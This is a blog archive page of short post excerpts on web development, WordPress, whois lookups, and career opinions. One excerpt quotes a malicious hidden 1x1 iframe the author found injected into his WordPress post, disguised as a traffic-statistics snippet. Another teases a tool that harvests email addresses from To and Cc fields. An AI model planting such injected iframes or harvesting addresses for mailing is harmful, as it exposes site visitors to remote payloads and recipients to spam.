Archive | Code RSS feed for this section

1 April 2010 2 Comments

To: Field Email Address Harvester

Have you ever had an email come in with ALL of the recipients in the To: or Cc: field and thought “This sure would be a handy list to mail asomething to.”? Well, I have. Of course I would never email those people since they didn’t double opt-in. Here is a very simple tool to [...]

15 July 2009 9 Comments

How to Split Test Your WordPress Theme (w/ Plugin)

Here is a rudimentary solution that allows you to split test all metrics on your WordPress blog.  If there is legitimate usage of this, I will make changes and improvements but at this point I am just throwing together a 15 minute SOLUTION not a complete idiot-proof package.  Please, give me feedback, I appreciate it.  [...]

20 August 2008 1 Comment

Amazon SimpleDB Invite

Can anyone get me an invite/approval to Amazon SimpleDB?

23 July 2008 1 Comment

Semi-Comprehensive TLD Whois Response List

For one of the coolest features of our Tools project I needed to be able to accurately determine domain availability. Here’s what I came up with: $domain_ext = array( ‘.com’ => array(‘whois.crsnic.net’,’No match for’), ‘.net’ => array(‘whois.crsnic.net’,’No match for’), ‘.biz’ => array(‘whois.biz’,’Not found’), ‘.mobi’ => array(‘whois.dotmobiregistry.net’, ‘NOT FOUND’), ‘.tv’ => array(‘whois.nic.tv’, ‘No match for’), ‘.in’ [...]

20 May 2008 Comments Off

Solution for onLoad + PNG fix defer problem in IE

I had the strangest problem today with a page not triggering an OnLoad because something was hanging the load in IE. Of all things, it was the hack to make PNG transparency work in IE. Once I figured out the problem it was easy to fix. Even more convenient, I found this modified version of [...]

10 March 2008 6 Comments

Nice Exploit Code I Found in my WordPress

I was going through some old posts just now, and discovered this little treat embedded in a post: <!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –> The code that it’s loading (I know it doesn’t wrap, I don’t really care.) Code deleted. Thanks to Mike Peters for the follow-up [...]

7 January 2008 1 Comment

Props Week: Monday – Joost de Valk

One guy who doesn’t get enough credit is Joost de Valk. He has written a bunch of cool tools, and a load of useful WordPress plugins. The one that takes the cake though is his RSS Footer insertion plugin. Let the scrapers steal your RSS content, you’re just going to get a nice influx of [...]

31 May 2007 64 Comments

A Computer Science Degree Does Hurt (A Lot)

The other day I was skimming through my feed reader and I came across a post by Leah Culver called A Computer Science Degree Doesn’t Hurt (Much). Having my own opinions about CS degrees (and degrees in general) this really caught my attention. Not surprisingly, I can’t help but disagree. Like Leah says, you spend [...]

29 May 2007 1 Comment

Hey Job Sites, Quit Scraping Resumes

I got an email from a recruiter with a GREAT OPPORTUNITY today. Since I usually get amused by how poorly they’ve done their homework, I gave her my number and she gave me a call. After trying to qualify how much experience with PHP I had, I just said “Look, you’re going to have to [...]

26 April 2007 28 Comments

Holy Crap I Found an Awesome OS X Feature

I got to thinking today that it would be neat if I could place a background image in my Terminal windows. See, I spend 99.9% of my time ssh’ed into other machines. I do all my development remotely on other boxes. It doesn’t really get confusing which box I’m on, but it can take a [...]